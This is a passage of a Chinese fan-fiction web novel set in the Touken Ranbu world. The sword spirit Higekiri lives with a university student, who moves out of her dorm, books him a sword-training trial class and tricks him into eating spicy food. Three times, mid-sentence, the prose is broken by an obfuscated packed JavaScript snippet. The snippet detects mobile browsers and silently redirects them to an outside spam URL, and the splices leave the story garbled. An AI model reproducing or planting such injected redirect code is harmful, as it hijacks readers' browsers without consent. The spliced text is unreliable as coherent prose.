本丸的练级大作战持续了整整三天才作罢。 结束的原因不是练级练够了,而是罪魁祸首某源氏重宝终于取得了他敬爱家主的原谅。 ——凭借他秘宝之里打花牌场场九百玉起步的超绝欧气。 还是那句话,没有人能拒绝一个打花牌运气爆棚的付丧神吧? 至少祝虞不能。 于是她不仅原谅了这振刀之前的故意冒犯,还原谅了他这几天浑水摸鱼式的练级,也终于有时间去干点别的事情。 考虑到髭切可能需要长时间停留在现世,祝虞总得给他找个地方住。这样一来本想着只在暑假短租的出租屋就不能退回去,等新学期开学了她还是得续租。 租都租了,相较于宿舍当然还是自己的出租屋更方便一些。况且祝虞也不放心让髭切这个社会化程度很低的付丧神一个人在校外住,思来想去,她决定之后也住在校外。 和房东商量着续约后,她抽空回了一趟学校,准备把宿舍里面的东西搬出来。 但是她低估了自己在大学待了三年积攒下来的物品数量。 大头的收纳箱小推车被子可以放在电动车上一并带回出租屋,再多的零零碎碎的东西就实在装不下了。 烈日炎炎的宿舍楼下,祝虞来来回回跑了三趟楼梯才把大件的东西搬下来。她蹲在宿舍楼前的阴凉处,热得用手给自己扇风。 东西太多一趟搬不完,只能再找时间来搬第二次。 “早知道就把髭切也拽来帮我搬东西了。”她小声嘀咕着。 别的事情帮不上忙,体力活总会干吧?怎么说他们付丧神的体力应该都比她要好吧? 不过话说回来,髭切直接显形于现实从未出阵过,该不会他的等级一直都是零级吧? 他们付丧神提高等级的本质到底是斩杀时间溯行军还是战斗? 如果是战斗,她去健身房帮髭切办个卡,让他有空就去里面健身练拳、实在不行再找个剑道老师和他手合,这样能提高等级吗? 祝虞蹲在树荫下思索了半天也没有结果,果断掏出手机点开微信,决定问问付丧神本人。 没错,经过她的不懈努力,千年老刀终于跟上了信息时代的洪流,时髦得学会了如何使用社交软件,可喜可贺! 鱼:【如果我帮你找人手合,你觉得你能提升等级吗?】 付丧神那边许久没有回复,祝虞也没有在意,代入她爷爷打字的速度,她本来就没想着付丧神能很快回复。 她收起手机,骑着自己满满当当的小电车顺路去了图书馆,将小电车停在外面的非机动车区,自己刷校园卡进门。 图书馆一楼是各种展厅和电子阅览区,三楼才是存放祝虞所需要的日语课本的地方。 她坐电梯上楼,开门时用手机搜索着荀芝之前发给她的日语课本都放在哪些书架,正好看到付丧神刚刚发来的消息。 猫:【いけないと思いますよ】 祝虞熟练地长按信息框翻译,发现他在说:“我觉得不可以喔。” 这也是用手机的方便之处。他们可以一个用中文一个用日文而毫无沟通障碍。 得到否定答案,祝虞心中有点遗憾,但不多。 等她把自己需要的日语课本找到、拿到自动借还书机前登记借阅时才发现对方又给她发了一条消息。 猫:【或许可以打击或冲力属性+1?】 已经完全熟知本丸内番的髭切提出来不同意见。 祝虞拿着手机,觉得有点道理。 所以……她该上哪儿帮他找个可以切磋剑术的人呢? 回家的路上她一直在思索这个问题,直到进了家门也没想明白,只好将其暂时压下,处理手头上的事情。 “我离开的这段时间没发生什么事情吧?”祝虞像是任何一个担心小孩趁家中没人悄悄作妖的家长一般问。 髭切正按照她的指示将被子什么暂时用不上的东西往衣柜上面放。相较于脆皮大学生祝虞,付丧神在这方面的优势非常明显,祝虞拎起来费劲的东西在他的手中轻轻松松就举了起来。 听到手机外放出来的日语,髭切仰头思考了一瞬,对她说:“有人来敲门,然后说了听不懂的话呢。不过按照家主的话,我没有给他开门。” “嗯?”祝虞愣了一下,心想这大中午的谁闲的没事干来敲门,想了一会忽然意识到什么,转身匆匆忙忙地跑出了卧室,打开家门出去看了一圈。 果然,一个外卖袋被放在隐蔽的角落,她刚刚累死累活地搬着东西上楼根本就没注意到。 “我说怎么外卖到了不给我打电话,原来是被拦截了。”祝虞查阅手机信息自言自语着,对好奇凑过来的髭切道,“洗手,我们今天中午的饭到了。” 髭切站在原地没动,声音软绵绵问:“欸……现世也有资源点可以定时刷新物资吗?” 祝虞拆开外卖盒将里面的饭菜拿出来,听到他的询问声后喷笑。仔细一想在付丧神眼里还真像是她在外面转了一圈就捡到了一份饭带回家。 “不是啦,这个是外卖,”她稍微解释了几句,“只要在手机上下单,饭店就会让人送餐上门。如果不想自己做饭或者出门吃饭,我们一般都会点外卖解决。” 髭切似懂非懂地点头。 吃完中午饭,让髭切把桌上的东西装好扔到垃圾桶里,祝虞则是去卫生间把洗衣机打开,准备趁着今天天气好把积攒的脏衣服洗了。 她本来只买了一个脏衣篓,但是付丧神显形后祝虞又多买了一个放在自己的脏衣篓旁边。 等她把浅色衣服和深色衣服挑拣出来、将前者塞进洗衣机时,收拾完餐桌的付丧神也慢慢悠悠地走了过来。 他倒是也没说话,就是站在卫生间的门口,茶金色的眼珠跟随着她的动作转动。 祝虞没回头都感受到了这股强烈的被人注视感,她把洗衣机盖子合上定好时间,转头无奈地对付丧神道:“不用总是跟着我啦,你可以找点别的事情做。” 祝虞有一个舍友家里养猫,总是听她吐槽家里的猫主子平常睡懒觉不喜欢动弹,只会在人干活的时候兴致勃勃地趴在一边围观。 在她看来现在付丧神的行为和那只金渐层没有任何区别。 祝虞洗了个手,随口道:“你要是没有事情做,就再帮你弟去练级。” 髭切眼中显露出真诚的困惑:“嗯?不是说已经答应家主让杂草丸种一年的地了?” “……”祝虞抬手比了个大大的“X”,“卖弟(地)求荣不可取。” 话是如此,祝虞还是给他找了点事情做。 看着游戏里一身优雅气质的付丧神现在穿着朴素无华的短袖短裤乖乖扫地的样子,祝虞在心中默默点头。 幸亏在本丸显形的不是某振素以动手能力令人抓狂的刀剑,髭切的性格虽然偶尔会让祝虞有些招架不住,但对她下达的命令还是会好好完成的。 甚至即便膝丸不在身边,只有他一个人在他也能照顾好自己,非常有力地向祝虞证明了游戏里的脱线不着调完全就是在逗小孩玩。 可怜的弟弟丸,被吃得死死的呢。 祝虞不无怜惜地想。 下午没什么要事需要处理,祝虞便准备学一会儿日语。 搜索网课、打开教材,开始学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268191|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好在现在的祝虞不是前几年上大一大二摆烂摸鱼的祝虞,她之前也一直在准备考研,学习能力正处于大学四年的巅峰期。 她学着学着就沉浸进去,仿佛进入了某种心流状态,中间游魂一样去了一趟卫生间、把深色衣服放进洗衣机、烧了一壶热水。 回来后继续学习,直到敲门声将她唤醒。 是只探头进来的浅金发色付丧神。 “唔,濯丸一直在‘嘀嘀嘀’地叫哦。”髭切说。 濯丸……什么濯丸? 祝虞被各种日语充斥的大脑反应了一会儿才想明白他刚刚在说什么。 “没事,只是它工作完成了,一会儿把衣服晾起来就好。”她淡定说道,“汤沸丸如果在‘哔哔’叫,记得把它关上——你还记得怎么关上吧?” 髭切兴致勃勃:“噢噢,就是点一下亮亮的圆形!” 祝虞“嗯嗯”应着:“没错没错。” “濯丸”是洗衣机,“汤沸丸”是热水壶。 前几天祝虞就发现了,髭切好像给家里的每一件他不认识的东西都起了个名字,并且偶尔会兴致勃勃地和它们说话。 她确定他知道这些家电到底叫什么,但是他就是喜欢混着叫,久而久之她也就不管了,反正他会用就行。 处理完洗衣机的事情祝虞又重新投入学习的怀抱,只是这一次没等髭切打扰,她自己就先被饥肠辘辘的感觉牵扯了注意力。 她看了一眼时间,发现不知不觉间竟然已经到了吃晚饭的时间。 久坐后需要稍微运动一下,秉持最朴素的健康观,祝虞决定今天晚上这顿饭出去吃,再顺路散步消食回来。 下午七点钟的小区来来往往有许多刚刚下班的社畜,但穿过小区公园时,最多的还是活力四射的小孩以及带小孩的家长。 祝虞路过时往健身器材的方向瞥了几眼,转头和跟在身边的髭切感叹现在的小孩真有精力。 而髭切盯着她仔细思索片刻:“嗯……” 祝虞一看他的表情就知道他在想什么,恼怒:“我没在说我!” 年纪大了不起啊,我觉得和我相比你才更像小孩啊。 髭切笑眯眯地点头,不知道是信了没信。 就在祝虞撸起袖子准备和他好好辩论一番现代世界的“小孩”到底是怎么定义时,一道黑影忽然从旁边窜了过来。 前一秒还在打着哈哈意图蒙混过关的付丧神眼睛眨也不眨,抬手就将身侧的祝虞护到身后。 他眼中的笑意没有褪去,却带上了几分冰冷锐意,像是出鞘的刀锋。 这道逼人的气势硬生生让冲来的人影顿在原地。 祝虞:“?” 她根本没意识发生了什么,只觉得一阵风扫过,然后视线就被付丧神宽阔的后背挡住了。 她扒着身前付丧神的胳膊看了一眼,发现是一个看起来很年轻的男生被髭切吓住了,表情肉眼可见的尴尬。 祝虞拍拍付丧神紧绷的胳膊示意没有危险,想了想又用不甚熟练的日语说了句“别担心”,这才感受到手下的肌肉稍微松懈一些。 她对拦住他们两人的男生道:“有什么事吗?” 男生看了一眼她,又看了一眼还在笑眯眯盯着他的男人。 他深吸一口气,仿佛在心中下定了什么决心,最后鼓起勇气超大声说:“我看两位骨骼清奇、天赋异禀,有没有兴趣——” “——去做审神者?”祝虞大脑空白,本能接话。 两双眼睛同时看过来。 祝虞:“……” 祝虞:“对不起有点条件反射,你继续。” 12. 反穿第十二天 今时不同往日,真不能怪她这么想嘛。 祝虞在心中默默吐槽。 走在马路上忽然被人拦住,开口就是一句“少年我看你骨骼清奇天赋异禀”,如果是之前的她大概在懵逼之余会觉得是路遇诈骗犯。 但是现在的祝虞是世界观已经破碎重组的祝虞——和她说白给一百块钱她不会信,但跟她说你要去拯救世界,祝虞是真的会认真思考一下的。 ……反正许多二次元同人文里都这么写,尤其是某个为了招聘审神者无所不用其极的时之政府。 看起来和祝虞年龄差不多的男生显然没玩过某个游戏、也没看过什么二次元同人文,脸上的懵逼如有实质。 但他的职业素养很高,只停顿了一瞬就接着道:“两位是住在这个小区的吗?可以了解一下我们龙腾武道馆,就在小区附近步行十分钟就到,最近有非常优惠的精品课程,体验课免费哦!” 武馆? 祝虞忽然想起自己之前胡思乱想的没能实施的念头,心中一动,伸手接过他递来的传单。 传单大约有请人好好设计过,肌肉虬结的教练和摆着标准姿势的学员看起来充满力量感,还特意把不同课程的优惠价格摆了出来。 只从传单的质量上来看,不像是什么会随时倒闭卷钱跑路的黑心店家。 男生见她似乎很感兴趣的样子,直接忽略了旁边付丧神似笑非笑盯着他的目光,热情推销道:“咱们感兴趣的话可以报体验课体验一下,各种课程都有,不仅能强身健体修身养性,还能学到真功夫!” 祝虞对他推荐的其他课程没什么想法,唯独提到“剑术”时多问了几句。 “我看你们的剑术课分初级中级高级班,如果是高级班可以和教练对打吗?” 推销小哥热情道:“这当然是有的,但是如果您没有相关基础,我们还是推荐您先从打地基开始。我们剑术课的教练都是名门大家,您想要学习哪种流派都可以。” 祝虞:“会用日本刀的基础算吗?” 推销小哥一愣,大概从来没有被人问过这个问题,但还是点头道:“当然可以,您是想学习实战方面的技术是吧?我们也有相关课程。” 推销小哥:“这个剑术课可是我们武馆的热门课程!您要是有意愿,我们先来加个微信?就算不报名课程也可以给您小礼物哦!” 果然什么推销都少不了加微信领礼品。 祝虞心想,但为了这个剑术课还是掏出手机让他加上微信。 两人短暂地聊了一会儿,期间一个拍皮球的小孩手一滑,皮球咕噜咕噜地滚到了站在祝虞旁边有点无聊的髭切脚边。 感受到小腿上轻微的碰撞,他低下头,用脚刹停了皮球的滚动。 脸颊红扑扑的小孩跑过来,大概是付丧神明显和身边人不一样的发色瞳色让他有些踟蹰,被旁边的家长鼓励了一番才慢吞吞地蹭到他的面前,期待又有点畏惧地问:“哥哥,你可以把球踢给我吗?” 没有翻译,祝虞还在和推销课程的人聊得正嗨顾不上他,髭切自然没听懂小孩到底在说什么。 但他听懂了“哥哥”这个词语,因为祝虞在外面经常这么叫他。 他指了一下脚下的球,又指了指小孩。 小孩家长没看懂,小孩眼睛亮晶晶直点头,期期艾艾地看着他。 于是髭切将球递了过去。 小孩:“谢谢哥哥!” 还没付丧神大腿高的人类幼崽高高兴兴地抱着球跑了。 “什么谢谢哥哥?”祝虞刚刚注意到这边的动静就听到这一句话,想起来付丧神听不懂中文,又替他翻译了一下,“刚刚那个小孩对你说谢谢——你刚刚干什么了?” 髭切:“做会被人道谢的事情~” 祝虞:“……” 行吧,助人为乐挺好的。 推销小哥成功完成今日最低指标,非常高兴地见缝插针:“我们武道馆并不是只有成年人课程,两位如果有小孩的话也可以给孩子报名,亲子套餐可以打折的!” 推销也是很需要眼力劲的。 像是他们武道馆,目标人群除了年轻人就是小孩,所以他才蹲守在各个公园门口发传单。尤其是年轻夫妻,他们更愿意为孩子的全面发展买单。 这对穿着同款情侣短袖打扮休闲随意、一看就是从家里出门准备下馆子的年轻夫妻显然就是他的目标人群。 祝虞被这番话震住了。 她条件反射地转头去看旁边的髭切,后者与她对上视线,眨眨眼露出一个软乎乎的微笑,看上去不像是听懂了推销小哥说话。 祝虞故作淡定地转回头,对着不明所以的推销小哥摆摆手道:“我们没有小孩。” 不对。 她又强调似的补充:“也没有结婚。” 那就是跨国恋情侣喽? 男生在心中点点头,自觉读懂了她的潜意思,比了一个“我懂”的手势。 他懂什么了? 祝虞莫名其妙地想着。 她着急去吃饭,懒得再多纠结,和对方约好体验课的时间后就带着髭切离开了。 路上,祝虞和他说了一下自己帮他找了一个可以练习剑术的地方。 “日本的剑术和中国的剑术好像还不一样,我没怎么了解过,可以体验课的时候看看。”她絮絮叨叨地说,“现在是和平年代,武馆多半也是偏向强身健体或者表演的性质,实战部分估计也没有很多——不过那个人说他们馆长是退伍军/人出身的实战大家,你可以去试试,要是觉得不太适合也没关系。” 和人类手合能不能像游戏里面一样增加数值倒是其次的,祝虞觉得作为刀剑付丧神,虽然髭切没说过,但他应该也是想让刀锋出鞘的吧? 端看前几天他明明被捆了个严严实实还那么兴奋的样子,绝对是因为发现了她的攻击性。 与期望和平稳定人类不一样,刀剑化身的付丧神天然的就会为血腥和破坏所吸引,愿意追逐任何尖锐的、冰冷的、爆发的攻击性。 虽然他暂时身在现世无法出阵,祝虞也不愿意让他完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268192|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑本能。在她的能力范围内,她愿意为属于她的刀剑付丧神提供舒适环境,这自然也包括他的身心发展。 可惜的是祝虞自己都不清楚那天到底是怎么用出的灵力,只能将其归咎为被对方突如其来的接近吓到了,强烈的抗拒本能让她催生出前所未有的术法天赋。 她又没有受虐癖,当然不愿意再复刻当时的场景。既然她无法让付丧神获得本能的乐趣,只好花钱来请人帮忙。 不过…… “如果有人和你实战,不要兴奋上头忘记对方是人类哦,”她看着付丧神的竖瞳猫眼说,“从肉/体上而言,人类是很脆弱的;付丧神缺胳膊少腿了可以手入治疗,但人类不行,失去了就是失去了,再也长不回来了。” 髭切:“可以带本体刀吗?” 祝虞想起因为网购的刀架没到、所以至今还委委屈屈待在她的谷子置物架上的北野天满宫同款国宝,不由得心虚目移:“不可以,还是要放在家里。” 付丧神不知是遗憾还是叹气,尾音拖长:“好吧——” 说话间两人已经走到了祝虞要去的饭店。 这是祝虞的本地人舍友推荐的一家饭店,据说她从小吃到大,非常有“家”的味道。 祝虞不知道什么叫“家”的味道,她小时候都是在别人家吃饭。但这家饭店的菜品味道完全对得起它的价格,仅凭这点她就愿意每次决定奖励自己时来这家饭店吃饭。 也或许是她奖励自己的次数有些多,导致她和髭切一进去就被老板认了出来,笑呵呵地招呼她:“好久不见啊小虞,暑假不回家呀?” 祝虞熟练地找到角落位置坐下:“要是回去了还怎么来这儿吃您做的菜呢?” 她点了几道自己惯常吃的菜,在等待上菜的过程中,左右闲来无事,便开始和髭切练习她刚学的日语。 祝虞指着筷子:“はし。” 髭切:“お箸ですね。”(是筷子呢。) 祝虞指着桌子:“テーブル台。” 髭切:“そうですよ。”(是哦。) 一问一答下祝虞产生了莫大的成就感,产生了一种自己竟然在和日本人——哦不,日本刀对话的诡异满足感。 她又问了几个,即便是说错了也被髭切慢吞吞地纠正了过来。她玩心大起,说了一个不在基本词汇、她特意去查过的词语。 祝虞看着面前的付丧神:“ひげきり。” “?”付丧神对她歪歪头,神色无辜,“え?膝丸じゃないのか?”(欸?难道不是膝丸吗?) 祝虞:“膝丸是弟弟啦……算了,看来我刚刚说的是对的。” 复刻完活击名场面的祝虞心满意足掰开筷子准备吃饭,但髭切却伸手在自己外套的衣兜中掏着什么,最后露出“找到了”的表情。 他向她摊开手,骨节分明的手掌中,两颗亮晶晶的糖落在中心。 祝虞一愣:“这是什么?” 髭切笑眯眯的看着她,语调甜蜜,放慢了语速说:“ご褒美ですよ。”(是奖励哦。) 13. 反穿第十三天 好歹也是下午刚刚学过的词语,祝虞听懂了,颇有些受宠若惊地接过糖。打量了一会儿好奇问:“你从哪里拿的?我记得我好像没有买过这种糖。” 总不能是付丧神自己搓糖搓出来的吧?可是这里又不是本丸,更没有第二振髭切让他合成。 话说回来,他们刀剑付丧神同振刀合成后奖励的根兵糖到底是怎么出现的?该不会是凭空出现的吧? 祝虞的表情忽然变得有些古怪。 刚玩游戏时她没有怎么氪金,刀位常年紧张,刷图练级掉落刀剑却无位可放的情况更是常有的事情。她一般直接拿邮箱当仓库用,只有堆积到堆无可堆的地步才会去清理。 清理自然是该合成的合成,该习合的习合。但是因为她积攒的刀剑太多,最终的归宿还是习合同振刀。 也就是说,大概会有十几把刀剑在同时段被她搓出来根兵糖…… 想到本丸里一大片一大片地凭空掉糖的场景,祝虞没忍住笑出了声。 髭切:“?” 祝虞有时候会说髭切是振总是让人摸不清头脑、猜不透他到底在想什么的刀。 但髭切有时候也觉得家主是个令刀不明所以、茫然不解的人。 她的情绪太过于鲜活,跳脱得像是风一般无法抓住,轻易地就会从手中溜走,很少长久停留。 付丧神慢吞吞地想着,单手撑着下巴,虽然不知道家主为什么笑,但他也和祝虞一样弯了弯唇角,眉眼间显出高兴快活的样子。 他做出思索的表情,随即眼睛一亮:“刚刚的小孩子塞过来的。嗯,亮晶晶的,很漂亮哦。” 怪不得糖纸这么花里胡哨的。 祝虞回忆起方才路上的小插曲,恍然大悟。 但想到之前刷到的各种社会新闻,祝虞将糖收起来,敛住笑容努力做出严肃正经的表情,对天真而不知人类邪恶的付丧神说:“在外面最好不要接陌生人送的食物哦。小孩子也包括。” 髭切依旧保持撑着下巴看她的姿势,只是有些迷茫地偏头,右脸颊的软肉因为动作而微微挤在一边,几缕浅金发蹭在脸边。 祝虞:“……” 她小声抽气,又克制地半道停住,最后掩饰似的端起手边的杯子喝了口水。 冰凉的可乐冲散了祝虞被美色冲击的躁动,她清了清喉咙,使劲点头:“没错,就是这样。长成你这样的是那些心思歹毒的人类最喜欢的下手对象。” 髭切从善如流:“所以应该要怎样呢?” 他保持面对她的温软微笑:“可以将他斩得七零八落吗?” 祝虞:“你可以动手,但最好不要将那人斩得七零八落。” 髭切长长的“欸——”了一声,真诚询问:“为什么呢?” “因为这样会给警察叔叔留下心理阴影。”祝虞帮他拆开碗筷,“不要给他人造成麻烦。” 髭切表示他知道了,如果真的要出手,他会注意不将人斩得七零八落的—— “所以可以一刀两落对吧?”他非常有探究精神地向在场他唯一认识的人类询问道。 祝虞:“……” 她不是很想回答这个问题,有点后悔一开始提起这个话题,付丧神不会觉得谈论血和尸体与品尝眼前美食有什么关系,但她只是一个普普通通、可怜又无助的人类啊! 祝虞感觉再聊下去她的胃口都能直接被付丧神聊没了,为了自己的食欲着想,她直接给付丧神夹了满满一小碗的菜,试图用吃的堵住他莫名其妙升起的好奇心。 “吃。”她言简意赅道。 付丧神对于她的命令性语言还是很听话的,乖乖“哦”了一声,低头吃饭了。 祝虞用余光观察了一会儿。 之前几天她也在观察付丧神吃饭,但这家饭店的饭菜口味偏重偏咸,而祝虞带他吃的饭菜都比较清淡,她有些担心对方会吃不惯这种口味。 如果吃不惯,她就再多点几道清淡的,吃不完的就打包带回家,反正家里现在有一人一刀还有冰箱,不怕解决不了。 祝虞重点关注他到底吃哪种菜更多,发现他的口味的确是比较偏清淡,但更咸的菜也不是不能吃,偶尔也会好奇地尝上一口,慢慢咀嚼时眼睛会因为刺激的味道而微微睁圆,亮晶晶的。 他吃到辣的食物会怎样呢? 祝虞心中突然冒出这个念头。 想到平日里八风不动非常有大佬气质的付丧神被辣得脸颊通红眼眶湿润的样子,祝虞可耻的动摇了。 就、就只是好奇一下嘛,只是一口而已……他应该不会生气的吧? 祝虞逐渐说服了自己。 她看了一会儿,忽然伸出筷子,在桌上唯一加辣的菜品——火红火红的水煮肉片中夹了一块肉吃掉。 没吃过水煮肉片的付丧神看着她的动作,果然在下一刻学着她的样子也伸出筷子——大约是见她面不改色地吃掉,所以也自信地从红艳艳的汤汁中夹出来一块一看就被辣椒浸透入味的肉片。 祝虞在咀嚼的过程中特意咬住了自己一小块腮肉,压住自己干坏事时想笑的本能。 髭切看了过来。 祝虞迅速装作若无其事:“怎么了?” “家主今天似乎很高兴呢。”他说。 祝虞一本正经:“因为我想到了高兴的事情。” 髭切:“哦?是什么呢?” 祝虞依旧一本正经:“我们家养的鱼要生小鱼了。” 髭切看起来是没有相信,但因为祝虞还真的在出租屋里买了一个鱼缸养鱼,而他也真的不知道那几只鱼中到底哪一只怀孕了要生小鱼。 所以尽管不信、他还是表现出一种恍然大悟的神色:“原来是这样。” 仗着千岁老刃不懂网络热梗的祝虞:“是这样的。” 她一边说,一边又伸出筷子从水煮肉片中夹了片肉,看着夹了菜却不吃的髭切,眼中流露出自然的诧异:“嗯?你不吃吗?” 髭切盯着她。 他盯得时间有些久,久到祝虞几乎以为自己的坏心思被他发现了正在思索要怎么回答时,他又对她展颜一笑:“嗯嗯,如果是家主想要的话。” 什么叫“我想要的话”? 坏了,难不成他真的发现了? 祝虞心中一跳,但还没过多思考,就见说完这话的付丧神若无其事地吃掉了被辣椒完全入味的肉片。 一秒。 两秒。 三秒。 这没有表情是什么意思?原来髭切竟然是那种非常能吃辣的付丧神吗? 祝虞困惑。 祝虞不解。 祝虞遗憾。 她端起手边的杯子正要掩饰般的喝一口,说时迟那时快,坐在她对面的付丧神忽然开始掉泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268193|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>髭切·重伤溃败。 祝虞:“?” 祝虞:“!!!” 极其有冲击力的画面直接让她傻在了原地,端着可乐的手臂悬停在半空许久没动弹,反应过来后手忙脚乱地一手抽纸巾一手递东西。 “先先先喝口水!” 大脑空白的祝虞根本没意识到自己递过去的杯子是自己的杯子,而里面装着的是她喝了一半的可乐。 髭切倒是注意到了,但他一没觉得用家主用过的杯子有什么不对,二没觉得区区饮料可以造成多么大的伤害。 于是—— 髭切:“……” “!!”祝虞惊恐地看着辣椒加可乐双重攻击下似乎已经说不出来话的髭切,又慌慌张张地给他倒凉白开,“阿尼甲,喝水喝水喝水——” 髭切被水汽浸透更加透亮的眼睛看着她,然后像是没招了一样叹了口气,一手接过杯子,一手极其自然地拍了拍她的脑袋。 兵荒马乱的三分钟后。 祝虞沉痛地将重伤堂堂源氏重宝的水煮肉片端到了自己面前,对捧着杯子喝水的髭切说:“这个你就不要吃了,太辣了。” 髭切看着她笑,唇色殷红:“哦,失败了呢。” 这种像是游戏挑战失败了的语气是怎么回事啊……等一下,好像他搓刀装失败的语音就是这个。 祝虞在心中默默吐槽。 她想喝水,但是伸手却捞了个空,下意识看向对面——等一下,难道刚刚他喝的可乐是我的可乐? 祝虞大脑有些空白。 髭切注意她放空的眼神,想了想,忽然问道:“是要再来一次吗?” 祝虞:“?” 她大惊失色:“什、什么再来一次?我没有虐刀的爱好啊!” 一点点的辣也就算了,这种会被辣哭的程度还是不要了吧! 我不要还没上任就先被时之政府打成渣审啊! 髭切:“哦呀?难道不是想看我哭吗?” 祝虞:“……” 祝虞:“不、没有,怎么会是想看你哭呢?你家主我像是有这种癖好的人吗?” 我可没有想看你哭。 她在心中反驳,我只是有点好奇你什么时候会眼眶红红……嗯,主要是大家就算是为爱发电画同人图似乎也很少画这么弱势的阿尼甲吧? 髭切:“所以家主是有看哭哭丸哭的爱好呀?” 祝虞:“不是,怎么又和你弟——” 等一下……昨天晚上在客厅刷手机循环播放膝丸哭哭剪辑时,髭切在哪儿来着? 她在付丧神似笑非笑的目光中慢慢停住嘴。 片刻后,她小声反驳:“难道你没有吗?” 髭切撑着下巴:“弟弟哭起来的样子确实很可爱呢。” “不过,”他忽然向前倾身,声音轻得像是在耳语,“比起在——嗯,手机?是这样称呼吗?哦,看来是这样——相较而言,还是像这样,面对面看更有趣一点哦?” 髭切:“比如,要是弟弟知道家主收藏了他哭哭的视频……” 祝虞和他对视,在对方透亮的眼眸中看到了露出“还是你会玩”表情的自己。 下一刻。 “要说的时候告诉我,”她想了想,一锤定音,“回本丸了免你一周的内番。” 髭切笑眯眯地端杯喝水,深藏功与名。 14. 反穿第十四天 髭切的第一节剑术体验课被放在了第二天早上九点钟进行,时长两个小时。 因为不需要准备什么而且距离很近,所以直到八点十分的时候,祝虞才慢吞吞地从床上爬起来,洗漱结束后把昨天晚上打包带回来的剩菜热了热,就着小米粥当做早饭。 趁着髭切去刷碗的时间,祝虞把保温杯里面装满温水,又去柜子里翻出来湿巾和纸巾装进背包。 做完这些准备后她站在沙发前想了想,又去零食柜里找了几块巧克力小饼干塞进背包。 吃的喝的都有了,还要带什么呢? 她摸着下巴沉思片刻,忽然想起来什么似的跑到了髭切的卧室。 还在厨房勤勤恳恳洗碗的髭切听到了家主的大叫。 祝虞特意用不甚熟练的日语:“髭切!你怎么又忘记给手机充电了!” 付丧神从厨房探头出来,举在空中的手带着没洗净的泡沫,看见少女一手拿着充电线一手拿着手机飞奔而来:“晚上的时候记得充电啊,要不然白天手机没电会关机的。” 髭切:“诶多,关机这种事情,无所谓吧?” 祝虞在胸前比了个大大的“X”号:“这可不是无所谓的事情。” 她又强调性地戳了一下他的肩膀,神色严肃:“手机对现代人来说可是第二条生命。并且就算是死,也得先把手机格式化了再死。” 髭切开始沉思。 髭切灵机一动。 “是说如果要杀死一个人的话,需要连带他的手机也斩落的意思吗?”他询问,又有些恍然大悟,“原来这是现代的杀人之道呀。” 祝虞觉得有些不对,但为了让觉得什么都无所谓的付丧神重视手机充电这回事,她故作镇定地点头:“没错,所以你睡前一定要记得把手机充电。” 髭切双手接过手机和充电器:“好吧好吧,既然家主这样说的话~” 祝虞大惊失色:“等一下,你手上还有泡沫啊啊啊——” 好险从付丧神手中拯救了手机和充电宝,两人又简单收拾了一下准备出门。 出门时背包自然是髭切拿的,他看起来心情不错的样子,大概也是在期待? 祝虞不太确定,但她觉得自己像是第一次送小孩去上课的家长,唯一的区别在于普通小孩只需要担心他适不适应学校,而她需要在髭切出门的那一刻就要保持手机畅通,随时做好去警察局捞人的准备。 武馆的位置就在小区附近,正如之前祝虞对小区入住居民属性的猜测,这条街上有不少兴趣班或者托管班租下的店铺,而补习班则藏在更加隐蔽的角落。 目送一个小孩不情不愿地告别家长坐电梯上楼去上补习班,祝虞也带着髭切走进了武馆。 和前台小姐姐确认完预约信息,很快就有一个助教笑容满面地迎了上来。 她一边带着他们向训练区走去,一边和祝虞寒暄:“听说髭切先生有剑术的学习基础?是从小就做过相关训练吗?” 何止是从小,那可是从他自己还只是刀剑时就开始学习了。 祝虞在心中默默吐槽,嘴上应道:“嗯,他家里很注重对武艺的培养。” 助教早就从之前的沟通中了解到了自己的这位新学员是一位外国人,因为他的名字在中国实在是过于罕见,她还特意上网搜索了一番这两个字用日语应该怎么读,结果发现他竟然和日本的一件国宝重名了。 她对日本的文化了解不多,只依稀了解过他们的姓氏名字很多都是直接根据地名或者某种物品来起的,既然如此,一个崇武的家族给孩子起名为宝刀的名字应该也不奇怪吧? 不了解日本文化的助教如此想到,非常自然地接受了“髭切”这个和日本国宝重名的名字,并且被动地选择性忽视了紧随着搜索词条跳出来的某个游戏立绘。 助教看了看紧紧跟在一边的祝虞,还给他们真情实感地安上了一个非常合理的武学世家传人为爱远赴他国(?)的故事。 武馆并不是很大,似乎是根据不同课程进行的分区,助教带着他们路过传来“砰砰”击打沙袋声音的单间隔区,推开磨砂玻璃门走进去。 “张教练,髭切先生来了。” 他们约的是1对1的课程,训练间中只有一个背影看起来非常壮硕的男人在拿着矿泉水喝水,显然就是那位被助教介绍“名牌大学毕业、拿过高级奖项、教出过不少获奖学生”的张教练。 